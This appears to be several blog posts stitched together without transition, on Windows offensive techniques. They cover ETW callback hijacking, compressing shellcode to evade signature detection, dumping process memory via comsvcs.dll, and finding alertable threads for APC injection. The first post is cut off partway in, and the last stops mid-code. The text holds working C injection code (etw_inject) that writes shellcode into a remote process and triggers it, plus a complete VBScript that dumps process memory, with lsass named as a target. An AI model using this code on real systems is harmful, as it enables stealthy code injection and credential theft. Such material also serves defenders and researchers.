rbt =(PRTL_RB_TREE)&ds[i];// Skip pointers that aren't heap memoryif(!IsHeapPtr(rbt->Root))continue;// It might be the registration table.// Check if the callback is code
re =(PETW_USER_REG_ENTRY)rbt->Root;if(!IsCodePtr(re->Callback))continue;// Save the virtual address and exit loop
va =&ds[i];break;}return va;}
4. Parsing the Registration Table
ETW Dump can display information about each ETW provider in the registration table of one or more processes. The name of a provider (with exception to private providers) is obtained using ITraceDataProvider::get_DisplayName. This method uses the Trace Data Helper API which internally queries WMI.
Node : 00000267F0961D00
GUID : {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4} (.NET Common Language Runtime)
Description : Microsoft .NET Runtime Common Language Runtime - WorkStation
Callback : 00007FFC7AB4B5D0 : clr!McGenControlCallbackV2
Context : 00007FFC7B0B3130 : clr!MICROSOFT_WINDOWS_DOTNETRUNTIME_PROVIDER_Context
Index : 108
Reg Handle : 006C0267F0961D00
5. Code Redirection
The Callback function for a provider is invoked in request by the kernel to enable or disable tracing. For the CLR, the relevant function is clr!McGenControlCallbackV2. Code redirection is achieved by simply replacing the callback address with the address of a new callback. Of course, it must use the same prototype, otherwise the host process will crash once the callback finishes executing. We can invoke a new callback using the StartTrace and EnableTraceEx API, although there may be a simpler way via NtTraceControl.
// inject shellcode into process using ETW registration entryBOOL etw_inject(DWORD pid,PWCHAR path,PWCHAR prov){
RTL_RB_TREE tree;PVOID etw, pdata, cs, callback;HANDLE hp;SIZE_T rd, wr;
ETW_USER_REG_ENTRY re;
PRTL_BALANCED_NODE node;OLECHAR id[40];
TRACEHANDLE ht;DWORD plen, bufferSize;PWCHAR name;
PEVENT_TRACE_PROPERTIES prop;BOOL status = FALSE;constwchar_t etwname[]=L"etw_injection\0";if(path ==NULL)return FALSE;// try read shellcode into memory
plen = readpic(path,&pdata);if(plen ==0){wprintf(L"ERROR: Unable to read shellcode from %s\n", path);return FALSE;}// try obtain the VA of ETW registration table
etw = etw_get_table_va();if(etw ==NULL){wprintf(L"ERROR: Unable to obtain address of ETW Registration Table.\n");return FALSE;}printf("*********************************************\n");printf("EtwpRegistrationTable for %i found at %p\n", pid, etw);// try open target process
hp =OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if(hp ==NULL){
xstrerror(L"OpenProcess(%ld)", pid);return FALSE;}// use (Microsoft-Windows-User-Diagnostic) unless specified
node = etw_get_reg(
hp,
etw,
prov !=NULL? prov :L"{305FC87B-002A-5E26-D297-60223012CA9C}",&re);if(node !=NULL){// convert GUID to string and display nameStringFromGUID2(&re.ProviderId, id,sizeof(id));
name = etw_id2name(id);wprintf(L"Address of remote node : %p\n",(PVOID)node);wprintf(L"Using %s (%s)\n", id, name);// allocate memory for shellcode
cs =VirtualAllocEx(
hp,NULL, plen,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);if(cs !=NULL){wprintf(L"Address of old callback : %p\n", re.Callback);wprintf(L"Address of new callback : %p\n", cs);// write shellcodeWriteProcessMemory(hp, cs, pdata, plen,&wr);// initialize trace
bufferSize =sizeof(EVENT_TRACE_PROPERTIES)+sizeof(etwname)+2;
prop =(EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
prop->Wnode.BufferSize = bufferSize;
prop->Wnode.ClientContext =2;
prop->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
prop->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
prop->LogFileNameOffset =0;
prop->LoggerNameOffset =sizeof(EVENT_TRACE_PROPERTIES);if(StartTrace(&ht, etwname, prop)==ERROR_SUCCESS){// save callback
callback = re.Callback;
re.Callback = cs;// overwrite existing entry with shellcode addressWriteProcessMemory(hp,(PBYTE)node + offsetof(ETW_USER_REG_ENTRY, Callback),&cs,sizeof(ULONG_PTR),&wr);// trigger execution of shellcode by enabling traceif(EnableTraceEx(&re.ProviderId,NULL, ht,1, TRACE_LEVEL_VERBOSE,(1<<16),0,0,NULL)==ERROR_SUCCESS){
status = TRUE;}// restore callbackWriteProcessMemory(hp,(PBYTE)node + offsetof(ETW_USER_REG_ENTRY, Callback),&callback,sizeof(ULONG_PTR),&wr);// disable tracing
ControlTrace(ht, etwname, prop, EVENT_TRACE_CONTROL_STOP);}else{
xstrerror(L"StartTrace");}LocalFree(prop);VirtualFreeEx(hp, cs,0, MEM_DECOMMIT | MEM_RELEASE);}}else{wprintf(L"ERROR: Unable to get registration entry.\n");}CloseHandle(hp);return status;}
6. Disable Tracing
If you decide to examine clr!McGenControlCallbackV2 in more detail, youβll see that it changes values in the callback context to enable or disable event tracing. For CLR, the following structure and function are used. Again, this may be defined differently for different versions of the CLR.
typedefstruct _MCGEN_TRACE_CONTEXT {
TRACEHANDLE RegistrationHandle;
TRACEHANDLE Logger;
ULONGLONG MatchAnyKeyword;
ULONGLONG MatchAllKeyword;ULONG Flags;ULONG IsEnabled;UCHAR Level;UCHAR Reserve;USHORT EnableBitsCount;PULONG EnableBitMask;const ULONGLONG* EnableKeyWords;constUCHAR* EnableLevel;} MCGEN_TRACE_CONTEXT,*PMCGEN_TRACE_CONTEXT;void McGenControlCallbackV2(
LPCGUID SourceId,ULONG IsEnabled,UCHAR Level,
ULONGLONG MatchAnyKeyword,
ULONGLONG MatchAllKeyword,PVOID FilterData,
PMCGEN_TRACE_CONTEXT CallbackContext){int cnt;// if we have a contextif(CallbackContext){// and control code is not zeroif(IsEnabled){// enable tracing?if(IsEnabled == EVENT_CONTROL_CODE_ENABLE_PROVIDER){// set the context
CallbackContext->MatchAnyKeyword = MatchAnyKeyword;
CallbackContext->MatchAllKeyword = MatchAllKeyword;
CallbackContext->Level = Level;
CallbackContext->IsEnabled =1;// ...other code omitted...}}else{// disable tracing
CallbackContext->IsEnabled =0;
CallbackContext->Level =0;
CallbackContext->MatchAnyKeyword =0;
CallbackContext->MatchAllKeyword =0;if(CallbackContext->EnableBitsCount >0){ZeroMemory(CallbackContext->EnableBitMask,4*((CallbackContext->EnableBitsCount -1)/32+1));}}
EtwCallback(
SourceId, IsEnabled, Level,
MatchAnyKeyword, MatchAllKeyword,
FilterData, CallbackContext);}}
There are a number of options to disable CLR logging that donβt require patching code.
This post examines data compression algorithms suitable for position-independent codes and assumes youβre already familiar with the concept and purpose of data compression. For those of you curious to know more about the science, or information theory, read Data Compression Explained by Matt Mahoney. For historical perspective, read History of Lossless Data Compression Algorithms. Charles Bloom has a great blog on the subject that goes way over my head. For questions and discussions, Encodeβs Forum is popular among experts and should be able to help with any queries you have.
For shellcode, algorithms based on the following conditions are considered:
Compact decompressor.
Good compression ratio.
Portable across operating systems and architectures.
Difficult to detect by signature.
Unencumbered by patents and licensing.
Meeting the requirements isnβt that easy. Search for βlightweight compression algorithmsβ and youβll soon find recommendations for algorithms that arenβt compact at all. Itβs not an issue on machines with 1TB hard drives of course. Itβs a problem for resource-constrained environments like microcontrollers and wireless sensors. The best algorithms are usually optimized for speed. They contain arrays and constants that allow them to be easily identified with signature-based tools.
Algorithms that are compact might have suboptimal compression ratios. The compressor component is closed source or restricted by licensing. There is light at the end of the tunnel, however, thanks primarily to the efforts of those designing executable compression. First, we look at those algorithms and then what Windows API can be used as an alternative. There are open source libraries designed for interoperability that support Windows compression on other platforms like Linux.
The first tool known to compress executables and save disk space was Realia SpaceMaker published sometime in 1982 by Robert Dewar. The first virus known to use compression in its infection routine was Cruncher published in June 1993. The author of Cruncher used routines from the disk reduction utility for DOS called DIET. Later on, many different viruses utilized compression as part of their infection routine to reduce the size of infected files, presumably to help evade detection longer. Although completely unrelated to shellcode, I decided to look at e-zines from twenty years ago when there was a lot of interest in using lightweight compression algorithms.
The following list of viruses used compression back in the late 90s/early 00s. Itβs not an extensive list, as I only searched the more popular e-zines like 29A and Xine by iKX.
Bill Prisoner Compression Engine (BPCE), by Bill Prisoner
BCE that appeared in 29a#4 was disappointing with only an 8% compression ratio. BNCE that appeared in DCA#1 was no better at 9%, although the decompressor is only 54 bytes. The decompressor for LSCE is 25 bytes, but the compressor simply encodes repeated sequences of zero and nothing else. JQCoding has a ~20% compression ratio while LZCE provides the best at 36%. With exception to the last two mentioned, I was unable to find anything in the e-zines with a good compression ratio. They were super tiny, but also super eh..inefficient. Worth a mention is KITTY, by snowcat.
While I could be wrong, the earliest example of compression being used to unpack shellcode can be found in a generator written by Z0MBiE/29A in 2004. (shown in figure 1). NRV compression algorithms, similar to whatβs used in UPX, were re-purposed to decompress the shellcode (see freenrv2 for more details).
Figure 1: Shellcode constructor by Z0MBiE/29A
UPX is a very popular tool for executable compression based on UCL. Included with the source is a PE packer example called UCLpack (thanks Peter) which is ideal for shellcode, too. aPLib also provides good compression ratio and the decompressor doesnβt contain lots of unique constants that would assist in detection by signature. The problem is that the compressor isnβt open source and requires linking with static or dynamic libraries compiled by the author. Thankfully, an open-source implementation by Emmanuel Marty is available and this is also ideal for shellcode.
Other libraries worth mentioning that I didnβt think were entirely suitable are Tiny Inflate and uzlib. The rest of this post focuses on compression provided by various Windows API.
Obtain the size of the workspace required for compression via the RtlGetCompressionWorkSpaceSize API. Allocate memory for the compressed data and pass both memory buffer and the raw data to RtlCompressBuffer. The following example in C demonstrates this.
DWORD CompressBuffer(DWORD engine,LPVOID inbuf,DWORD inlen,HANDLE outfile){ULONG wspace, fspace;SIZE_T outlen;DWORD len;
NTSTATUS nts;PVOID ws, outbuf;HMODULE m;
RtlGetCompressionWorkSpaceSize_t RtlGetCompressionWorkSpaceSize;
RtlCompressBuffer_t RtlCompressBuffer;
m =GetModuleHandle("ntdll");
RtlGetCompressionWorkSpaceSize =(RtlGetCompressionWorkSpaceSize_t)GetProcAddress(m,"RtlGetCompressionWorkSpaceSize");
RtlCompressBuffer =(RtlCompressBuffer_t)GetProcAddress(m,"RtlCompressBuffer");if(RtlGetCompressionWorkSpaceSize ==NULL|| RtlCompressBuffer ==NULL){printf("Unable to resolve RTL API\n");return0;}// 1. obtain the size of workspace
nts = RtlGetCompressionWorkSpaceSize(
engine | COMPRESSION_ENGINE_MAXIMUM,&wspace,&fspace);if(nts ==0){// 2. allocate memory for workspace
ws =malloc(wspace);if(ws !=NULL){// 3. allocate memory for output
outbuf =malloc(inlen);if(outbuf !=NULL){// 4. compress data
nts = RtlCompressBuffer(
engine | COMPRESSION_ENGINE_MAXIMUM,
inbuf, inlen, outbuf, inlen,0,(PULONG)&outlen, ws);if(nts ==0){// 5. write the original lengthWriteFile(outfile,&inlen,sizeof(DWORD),&len,0);// 6. write compressed data to fileWriteFile(outfile, outbuf, outlen,&len,0);}// 7. free output bufferfree(outbuf);}// 8. free workspacefree(ws);}}return outlen;}
typedef NTSTATUS (WINAPI*RtlDecompressBufferEx_t)(USHORT CompressionFormatAndEngine,PUCHAR UncompressedBuffer,ULONG UncompressedBufferSize,PUCHAR CompressedBuffer,ULONG CompressedBufferSize,PULONG FinalUncompressedSize,PVOID WorkSpace);DWORD DecompressBuffer(DWORD engine,LPVOID inbuf,DWORD inlen,HANDLE outfile){ULONG wspace, fspace;SIZE_T outlen =0;DWORD len;
NTSTATUS nts;PVOID ws, outbuf;HMODULE m;
RtlGetCompressionWorkSpaceSize_t RtlGetCompressionWorkSpaceSize;
RtlDecompressBufferEx_t RtlDecompressBufferEx;
m =GetModuleHandle("ntdll");
RtlGetCompressionWorkSpaceSize =(RtlGetCompressionWorkSpaceSize_t)GetProcAddress(m,"RtlGetCompressionWorkSpaceSize");
RtlDecompressBufferEx =(RtlDecompressBufferEx_t)GetProcAddress(m,"RtlDecompressBufferEx");if(RtlGetCompressionWorkSpaceSize ==NULL|| RtlDecompressBufferEx ==NULL){printf("Unable to resolve RTL API\n");return0;}// 1. obtain the size of workspace
nts = RtlGetCompressionWorkSpaceSize(
engine | COMPRESSION_ENGINE_MAXIMUM,&wspace,&fspace);if(nts ==0){// 2. allocate memory for workspace
ws =malloc(wspace);if(ws !=NULL){// 3. allocate memory for output
outlen =*(DWORD*)inbuf;
outbuf =malloc(outlen);if(outbuf !=NULL){// 4. decompress data
nts = RtlDecompressBufferEx(
engine | COMPRESSION_ENGINE_MAXIMUM,
outbuf, outlen,(PBYTE)inbuf +sizeof(DWORD), inlen -sizeof(DWORD),(PULONG)&outlen, ws);if(nts ==0){// 5. write decompressed data to fileWriteFile(outfile, outbuf, outlen,&len,0);}else{printf("RtlDecompressBufferEx failed with %08lx\n", nts);}// 6. free output bufferfree(outbuf);}else{printf("malloc() failed\n");}// 7. free workspacefree(ws);}}return outlen;}
3. Windows Compression API
Despite being well documented and offering better compression ratios than RtlCompressBuffer, itβs unusual to see these API used at all. Four engines are supported: MSZIP, Xpress, Xpress Huffman and LZMS. To demonstrate using these API, see xpress.c
Compression
DWORD CompressBuffer(DWORD engine,LPVOID inbuf,DWORD inlen,HANDLE outfile){
COMPRESSOR_HANDLE ch =NULL;BOOL r;SIZE_T outlen, len;LPVOID outbuf;DWORD wr;// Create a compressor
r = CreateCompressor(engine,NULL,&ch);if(r){// Query compressed buffer size.
Compress(ch, inbuf, inlen,NULL,0,&len);if(GetLastError()== ERROR_INSUFFICIENT_BUFFER){// allocate memory for compressed data
outbuf =malloc(len);if(outbuf !=NULL){// Compress data and write data to outbuf.
r = Compress(ch, inbuf, inlen, outbuf, len,&outlen);// if compressed ok, write to fileif(r){WriteFile(outfile, outbuf, outlen,&wr,NULL);}else xstrerror("Compress()");free(outbuf);}else xstrerror("malloc()");}else xstrerror("Compress()");
CloseCompressor(ch);}else xstrerror("CreateCompressor()");return r;}
Decompression
DWORD DecompressBuffer(DWORD engine,LPVOID inbuf,DWORD inlen,HANDLE outfile){
DECOMPRESSOR_HANDLE dh =NULL;BOOL r;SIZE_T outlen, len;LPVOID outbuf;DWORD wr;// Create a decompressor
r = CreateDecompressor(engine,NULL,&dh);if(r){// Query Decompressed buffer size.
Decompress(dh, inbuf, inlen,NULL,0,&len);if(GetLastError()== ERROR_INSUFFICIENT_BUFFER){// allocate memory for decompressed data
outbuf =malloc(len);if(outbuf !=NULL){// Decompress data and write data to outbuf.
r = Decompress(dh, inbuf, inlen, outbuf, len,&outlen);// if decompressed ok, write to fileif(r){WriteFile(outfile, outbuf, outlen,&wr,NULL);}else xstrerror("Decompress()");free(outbuf);}else xstrerror("malloc()");}else xstrerror("Decompress()");
CloseDecompressor(dh);}else xstrerror("CreateDecompressor()");return r;}
4. Windows Packaging API
If youβre a developer that wants to sell a Windows application to customers on the Microsoft Store, you must submit a package that uses the Open Packaging Conventions (OPC) format. Visual Studio automates building packages (.msix or .appx) and bundles (.msixbundle or .appxbundle). Thereβs also a well documented interface (IAppxFactory) that allows building them manually. While not intended to be used specifically for compression, thereβs no reason why you canβt. An SDK sample to extract the contents of packages uses SHCreateStreamOnFileEx to read the package from disk. However, you can also use SHCreateMemStream and decompress a package entirely in memory.
5. Windows Imaging API (WIM)
These encode and decode .wim files on disk. WIMCreateFile internally calls CreateFile to return a file handle to an archive thatβs then used with WIMCaptureImage to compress and add files to the archive. From what I can tell, thereβs no way to work with .wim files in memory using these API.
For Linux, the Windows Imaging (WIM) library supports Xpress, LZX and LZMS algorithms. libmspack and this repo provide good information on the various compression algorithms supported by Windows.
6. Direct3D HLSL Compiler
Believe it or not, the best compression ratio on Windows is provided by the Direct3D API. Internally, they use the DXT/Block Compression (BC) algorithms, which are designed specifically for textures/images. The algorithms provide higher quality compression rates than anything else available on Windows. The compression ratio was 60% for a 1MB EXE file and using the API is very easy. The following example in C uses D3DCompressShaders and D3DDecompressShaders. While untested, I believe OpenGL API could likely be used in a similar way.
The main problem with dynamically resolving these API is knowing what version is installed. The file name on my Windows 10 system is βD3DCompiler_47.dllβ. It will likely be different on legacy systems.
7. Windows-internal libarchive library
Since the release of Windows 10 build 17063, the tape archiving tool βbsdtarβ is available and uses a stripped down version of the open source Multi-format archive and compression library to create and extract compressed files both in memory and on disk. The version found on windows supports bzip2, compress and gzip formats. Although, bsdtar shows support for xz and lzma, at least on my system along with lzip, they appear to be unsupported.
8. LibreSSL Cryptography Library
Windows 10 Fall Creators Update and Windows Server 1709 include support for an OpenSSH client and server. The crypto library used by this port appears to have been compiled from the LibreSSL project, and if available can be found in C:\Windows\System32\libcrypto.dll. As some of you know, Transport Layer Security (TLS) supports compression prior to encryption. LibreSSL supports the ZLib and RLE methods, so itβs entirely possible to use COMP_compress_block and COMP_expand_block to compress and decompress raw data in memory.
9. Windows.Storage.Compression
This namespace located in Windows.Storage.Compress.dll internally uses Windows Compression API. CreateCompressor is invoked with the COMPRESS_RAW flag set. It also invokes SetCompressorInformation with COMPRESS_INFORMATION_CLASS_BLOCK_SIZE flag if the user specifies one in the Compressor method.
10. Windows Undocumented API
DLLs on Windows use the DEFLATE algorithm extensively to support various audio, video, image encoders/decoders and file archives. Normally, the deflate routines are used internally and canβt be resolved dynamically via GetProcAddress. However, between at least Windows 7 and 10 is a DLL called PresentationNative_v0300.dll that can be found in the C:\Windows\System32 directory. (There may also be PresentationNative_v0400.dll, but I havenβt investigated this thoroughly enough.) Four public symbols grabbed my attention, which are ums_deflate_init, ums_deflate, ums_inflate_init and ums_inflate. For a PoC demonstrating how to use them, see winflate.c
Compression
The following code uses zlib.h to compress a buffer and write to file.
DWORD CompressBuffer(LPVOID inbuf,DWORD inlen,HANDLE outfile){SIZE_T outlen, len;LPVOID outbuf;DWORD wr;HMODULE m;
z_stream ds;
ums_deflate_t ums_deflate;
ums_deflate_init_t ums_deflate_init;int err;
m =LoadLibrary("PresentationNative_v0300.dll");
ums_deflate_init =(ums_deflate_init_t)GetProcAddress(m,"ums_deflate_init");
ums_deflate =(ums_deflate_t)GetProcAddress(m,"ums_deflate");if(ums_deflate_init ==NULL|| ums_deflate ==NULL){printf(" [ unable to resolve deflate API.\n");return0;}// allocate memory for compressed data
outbuf =malloc(inlen);if(outbuf !=NULL){// Compress data and write data to outbuf.
ds.zalloc = Z_NULL;
ds.zfree = Z_NULL;
ds.opaque = Z_NULL;
ds.avail_in =(uInt)inlen;// size of input
ds.next_in =(Bytef *)inbuf;// input buffer
ds.avail_out =(uInt)inlen;// size of output buffer
ds.next_out =(Bytef *)outbuf;// output bufferif(ums_deflate_init(&ds, Z_BEST_COMPRESSION,"1",sizeof(ds))== Z_OK){if((err = ums_deflate(&ds, Z_FINISH))== Z_STREAM_END){// write the original length firstWriteFile(outfile,&inlen,sizeof(DWORD),&wr,NULL);// then the dataWriteFile(outfile, outbuf, ds.avail_out,&wr,NULL);FlushFileBuffers(outfile);}else{printf(" [ ums_deflate() : %x\n", err);}}else{printf(" [ ums_deflate_init()\n");}free(outbuf);}return0;}
Decompression
Inflating/decompressing the data is based on an example using zlib.
DWORD DecompressBuffer(LPVOID inbuf,DWORD inlen,HANDLE outfile){SIZE_T outlen, len;LPVOID outbuf;DWORD wr;HMODULE m;
z_stream ds;
ums_inflate_t ums_inflate;
ums_inflate_init_t ums_inflate_init;
m =LoadLibrary("PresentationNative_v0300.dll");
ums_inflate_init =(ums_inflate_init_t)GetProcAddress(m,"ums_inflate_init");
ums_inflate =(ums_inflate_t)GetProcAddress(m,"ums_inflate");if(ums_inflate_init ==NULL|| ums_inflate ==NULL){printf(" [ unable to resolve inflate API.\n");return0;}// allocate memory for decompressed data
outlen =*(DWORD*)inbuf;
outbuf =malloc(outlen*2);if(outbuf !=NULL){// decompress data and write data to outbuf.
ds.zalloc = Z_NULL;
ds.zfree = Z_NULL;
ds.opaque = Z_NULL;
ds.avail_in =(uInt)inlen -8;// size of input
ds.next_in =(Bytef*)inbuf +4;// input buffer
ds.avail_out =(uInt)outlen*2;// size of output buffer
ds.next_out =(Bytef*)outbuf;// output bufferprintf(" [ initializing inflate...\n");if(ums_inflate_init(&ds,"1",sizeof(ds))== Z_OK){printf(" [ inflating...\n");if(ums_inflate(&ds, Z_FINISH)== Z_STREAM_END){WriteFile(outfile, outbuf, ds.avail_out,&wr,NULL);FlushFileBuffers(outfile);}else{printf(" [ ums_inflate()\n");}}else{printf(" [ ums_inflate_init()\n");}free(outbuf);}else{printf(" [ malloc()\n");}return0;}
11. Summary/Results
That sums up the algorithms I think are suitable for a shellcode. For the moment, UCL and apultra seem to provide the best solution. Using Windows API is a good option. They are also susceptible to monitoring and may not be portable. One area I didnβt cover due to time is Media Foundation API. It may be possible to use audio, video and image encoders to compress raw data and the decoders to decompress. Worth researching?
This will be a very quick code-oriented post about a DLL function exported by comsvcs.dll that I was unable to find any reference to online.
UPDATE: Memory Dump Analysis Anthology Volume 1 that was published in 2008 by Dmitry Vostokov, discusses this function in a chapter on COM+ Crash Dumps. The reason I didnβt find it before is because I was searching for βMiniDumpWβ and not βMiniDumpβ.
While searching for DLL/EXE that imported DBGHELP!MiniDumpWriteDump, I discovered comsvcs.dll exports a function called MiniDumpW which appears to have been designed specifically for use by rundll32. It will accept three parameters but the first two are ignored. The third parameter should be a UNICODE string combining three tokens/parameters wrapped in quotation marks. The first is the process id, the second is where to save the memory dump and third requires the keyword βfullβ even though thereβs no alternative for this last parameter.
To use from the command line, type the following: "rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"" where β1234β is the target process to dump. Obviously, this assumes you have permission to query and read the memory of target process. If COMSVCS!MiniDumpW encounters an error, it simply calls KERNEL32!ExitProcess and you wonβt see anything. The following code in C demonstrates how to invoke it dynamically.
BTW, HRESULT is probably the wrong return type. Internally it exits the process with E_INVALIDARG if it encounters a problem with the parameters, but if it succeeds, it returns 1. S_OK is defined as 0.
Since neither rundll32 nor comsvcs!MiniDumpW will enable the debugging privilege required to access lsass.exe, the following VBscript will work in an elevated process.
Option Explicit
Const SW_HIDE = 0
If (WScript.Arguments.Count <> 1) Then
WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")
WScript.StdOut.WriteLine("Usage: procdump <process>")
WScript.Quit
Else
Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
' get process id or name
pid = WScript.Arguments(0)
' connect with debug privilege
Set fso = CreateObject("Scripting.FileSystemObject")
Set svc = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
' if not a number
If(Not IsNumeric(pid)) Then
query = "Name"
Else
query = "ProcessId"
End If
' try find it
Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _
query & " = '" & pid & "'")
If (list.Count = 0) Then
WScript.StdOut.WriteLine("Can't find active process : " & pid)
WScript.Quit()
End If
For Each proc in list
pid = proc.ProcessId
str = proc.Name
Exit For
Next
dmp = fso.GetBaseName(str) & ".bin"
' if dump file already exists, try to remove it
If(fso.FileExists(dmp)) Then
WScript.StdOut.WriteLine("Removing " & dmp)
fso.DeleteFile(dmp)
End If
WScript.StdOut.WriteLine("Attempting to dump memory from " & _
str & ":" & pid & " to " & dmp)
Set proc = svc.Get("Win32_Process")
Set startup = svc.Get("Win32_ProcessStartup")
Set cfg = startup.SpawnInstance_
cfg.ShowWindow = SW_HIDE
cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _
pid & " " & fso.GetAbsolutePathName(".") & "\" & _
dmp & " full"
Call proc.Create (cmd, null, cfg, pid)
' sleep for a second
Wscript.Sleep(1000)
If(fso.FileExists(dmp)) Then
WScript.StdOut.WriteLine("Memory saved to " & dmp)
Else
WScript.StdOut.WriteLine("Something went wrong.")
End If
End If
Run from elevated cmd prompt.
No idea how useful this could be, but since itβs part of the operating system, itβs probably worth knowing anyway. Perhaps you will find similar functions in signed binaries that perform memory dumping of a target process.
An early example of APC injection can be found in a 2005 paper by the late Barnaby Jack called Remote Windows Kernel Exploitation β Step into the Ring 0. Until now, these posts have focused on relatively new, lesser-known injection techniques. A factor in not covering APC injection before is the lack of a single user-mode API to identify alertable threads. Many have asked βhow to identify an alertable threadβ and were given an answer that didnβt work or were told itβs not possible. This post will examine two methods that both use a combination of user-mode API to identify them. The first was described in 2016 and the second was suggested earlier this month at Blackhat and Defcon.
Alertable Threads
A number of Windows API and the underlying system calls support asynchronous operations and specifically I/O completion routines.. A boolean parameter tells the kernel a calling thread should be alertable, so I/O completion routines for overlapped operations can still run in the background while waiting for some other event to become signalled. Completion routines or callback functions are placed in the APC queue and executed by the kernel via NTDLL!KiUserApcDispatcher. The following Win32 API can set threads to alertable.
Unfortunately, thereβs no single user-mode API to determine if a thread is alertable. From the kernel, the KTHREAD structure has an Alertable bit, but from user-mode thereβs nothing similar, at least not that Iβm aware of.
β¦create an event for each thread in the target process, then ask each thread to set its corresponding event. β¦ wait on the event handles, until one is triggered. The thread whose corresponding event was triggered is an alertable thread.
Based on this description, we take the following steps:
Enumerate threads in a target process using Thread32First and Thread32Next. OpenThread and save the handle to an array not exceeding MAXIMUM_WAIT_OBJECTS.
The first event signalled is from an alertable thread.
MAXIMUM_WAIT_OBJECTS is defined as 64 which might seem like a limitation, but how likely is it for processes to have more than 64 threads and not one alertable?
HANDLE find_alertable_thread1(HANDLE hp,DWORD pid){DWORD i, cnt =0;HANDLE evt[2], ss, ht, h =NULL,
hl[MAXIMUM_WAIT_OBJECTS],
sh[MAXIMUM_WAIT_OBJECTS],
th[MAXIMUM_WAIT_OBJECTS];
THREADENTRY32 te;HMODULE m;LPVOID f, rm;// 1. Enumerate threads in target process
ss =CreateToolhelp32Snapshot(
TH32CS_SNAPTHREAD,0);if(ss ==INVALID_HANDLE_VALUE)returnNULL;
te.dwSize =sizeof(THREADENTRY32);if(Thread32First(ss,&te)){do{// if not our target process, skip itif(te.th32OwnerProcessID != pid)continue;// if we can't open thread, skip it
ht = OpenThread(
THREAD_ALL_ACCESS,
FALSE,
te.th32ThreadID);if(ht ==NULL)continue;// otherwise, add to list
hl[cnt++]= ht;// if we've reached MAXIMUM_WAIT_OBJECTS. breakif(cnt == MAXIMUM_WAIT_OBJECTS)break;}while(Thread32Next(ss,&te));}// Resolve address of SetEvent
m =GetModuleHandle(L"kernel32.dll");
f =GetProcAddress(m,"SetEvent");for(i=0; i<cnt; i++){// 2. create event and duplicate in target process
sh[i]=CreateEvent(NULL, FALSE, FALSE,NULL);DuplicateHandle(GetCurrentProcess(),// source process
sh[i],// source handle to duplicate
hp,// target process&th[i],// target handle0,
FALSE,
DUPLICATE_SAME_ACCESS);// 3. Queue APC for thread passing target event handleQueueUserAPC(f, hl[i],(ULONG_PTR)th[i]);}// 4. Wait for event to become signalled
i =WaitForMultipleObjects(cnt, sh, FALSE,1000);if(i != WAIT_TIMEOUT){// 5. save thread handle
h = hl[i];}// 6. Close source + target handlesfor(i=0; i<cnt; i++){CloseHandle(sh[i]);CloseHandle(th[i]);if(hl[i]!= h)CloseHandle(hl[i]);}CloseHandle(ss);return h;}
Method 2
At Blackhat and Defcon 2019, Itzik Kotler and Amit Klein presented Process Injection Techniques β Gotta Catch Them All. They suggested alertable threads can be detected by simply reading the context of a remote thread and examining the control and integer registers. Thereβs currently no code in their pinjectra tool to perform this, so I decided to investigate how it might be implemented in practice.
If you look at the disassembly of KERNELBASE!SleepEx on Windows 10 (shown in figure 1), you can see it invokes the NT system call, NTDLL!ZwDelayExecution.
Figure 1. Disassembly of SleepEx on Windows 10.
The system call wrapper (shown in figure 2) executes a syscall instruction which transfers control from user-mode to kernel-mode. If we read the context of a thread that called KERNELBASE!SleepEx, the program counter (Rip on AMD64) should point to NTDLL!ZwDelayExecution + 0x14 which is the address of the RETN opcode.
Figure 2. Disassembly of NTDLL!ZwDelayExecution on Windows 10.
This address can be used to determine if a thread has called KERNELBASE!SleepEx. To calculate it, we have two options. Add a hardcoded offset to the address returned by GetProcAddress for NTDLL!ZwDelayExecution or read the program counter after calling KERNELBASE!SleepEx from our own artificial thread.
For the second option, a simple application was written to run a thread and call asynchronous APIs with alertable parameter set to TRUE. In between each invocation, GetThreadContext is used to read the program counter (Rip on AMD64) which will hold the return address after the system call has completed. This address can then be used in the first step of detection. Figure 3 shows output of this.
Figure 3. Win32 API and NT System Call Wrappers.
The following table matches Win32 APIs with NT system call wrappers. The parameters are included for reference.
The second step of detection involves reading the register that holds the Alertable parameter. NT system calls use the Microsoft fastcall convention. The first four arguments are placed in RCX, RDX, R8 and R9 with the remainder stored on the stack. Figure 4 shows the Win64 stack layout. The first index of the stack register (Rsp) will contain the return address of caller, the next four will be the shadow, spill or home space to optionally save RCX, RDX, R8 and R9. The fifth, sixth and subsequent arguments to the system call appear after this.
Figure 4. Win64 Stack Layout.
Based on the prototypes shown in the above table, to determine if a thread is alertable, verify the register holding the Alertable parameter is TRUE or FALSE. The following code performs this.
You might be asking why Rsi is checked for two of the calls despite not being used for a parameter by the Microsoft fastcall convention. This is a callee saved non-volatile register that should be preserved by any function that uses it. RCX, RDX, R8 and R9 are volatile registers and donβt need to be preserved. It just so happens the kernel overwrites R9 for NtWaitForMultipleObjects (shown in figure 5) and R8 for NtSignalAndWaitForSingleObject (shown in figure 6) hence the reason for checking Rsi instead. BOOLEAN is defined as an 8-bit type, so a mask of the register is performed before comparing with TRUE or FALSE.
Figure 5. Rsi used for Alertable Parameter to NtWaitForMultipleObjects.
Figure 6. Rsi used to for Alertable parameter to NtSignalAndWaitForSingleObject.
The following code can support adding an offset or reading the thread context before enumerating threads.
// thread to run alertable functionsDWORDWINAPI ThreadProc(LPVOID lpParameter){HANDLE*evt =(HANDLE)lpParameter;HANDLE port;
OVERLAPPED_ENTRY lap;DWORD n;SleepEx(INFINITE, TRUE);WaitForSingleObjectEx(evt[0], INFINITE, TRUE);WaitForMultipleObjectsEx(2, evt, FALSE, INFINITE, TRUE);SignalObjectAndWait(evt[1], evt[0], INFINITE, TRUE);ResetEvent(evt[0]);ResetEvent(evt[1]);MsgWaitForMultipleObjectsEx(2, evt,
INFINITE, QS_RAWINPUT, MWMO_ALERTABLE);
port =CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,0,0);
